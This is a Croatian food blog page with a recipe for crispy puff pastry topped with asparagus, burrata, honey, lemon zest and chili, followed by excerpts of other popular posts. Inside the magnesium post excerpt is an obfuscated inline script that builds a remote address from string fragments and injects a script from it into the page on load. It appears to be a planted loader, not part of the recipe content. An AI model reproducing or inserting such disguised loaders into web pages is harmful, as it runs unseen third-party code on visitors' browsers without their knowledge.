HRSKAVO LISNATO SA ŠPAROGAMA I BURRATOM





Hrskavo lisnato sa šparogama i burratom 



Proljeće ima svoj ritam koji se najlakše prepoznaje na tanjuru, a šparoge su jedan od onih sastojaka koji kratko traju i zato ih svi želimo iskoristiti dok su u sezoni. Zadnjih tjedana viđamo ih posvuda, od tržnica do restoranskih menija, i svaki put nas podsjete koliko malo treba za dobar obrok kada je namirnica svježa i kvalitetna.




Hrskavo lisnato sa šparogama i burratom 


Sastojci:

1 pakiranje lisnatog tijesta
1 vezica svježih šparoga
1 burrata
maslinovo ulje
sol i svježe mljeveni papar
korica limuna
žličica meda
prstohvat chili pahuljica
parmezan po želji



Priprema:

Zagrijte pećnicu na 200 stupnjeva i pripremite lim obložen papirom za pečenje. Lisnato tijesto lagano razvaljajte i premjestite na lim, a zatim po sredini ostavite malo prostora uz rub kako bi se tijekom pečenja lijepo podiglo. Šparoge očistite tako da odstranite tvrdi donji dio, pa ih kratko prelijte maslinovim uljem, posolite i popaprite. Posložite ih preko tijesta u jednom sloju, a zatim sve zajedno stavite peći dok tijesto ne dobije zlatnu boju i postane hrskavo.

Kada je pečeno, izvadite iz pećnice i ostavite minutu da se lagano ohladi. Na sredinu dodajte burratu koju možete lagano razdvojiti kako bi se kremasti dio razlio preko toplih šparoga. Sve završite s nekoliko kapi meda, malo naribane limunove korice i chili pahuljicama za blagu pikantnost. Po želji dodajte i parmezan te još malo maslinovog ulja prije posluživanja. Ovo jelo najbolje je poslužiti odmah, dok je tijesto još hrskavo, a burrata svilenkasta i mekana.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više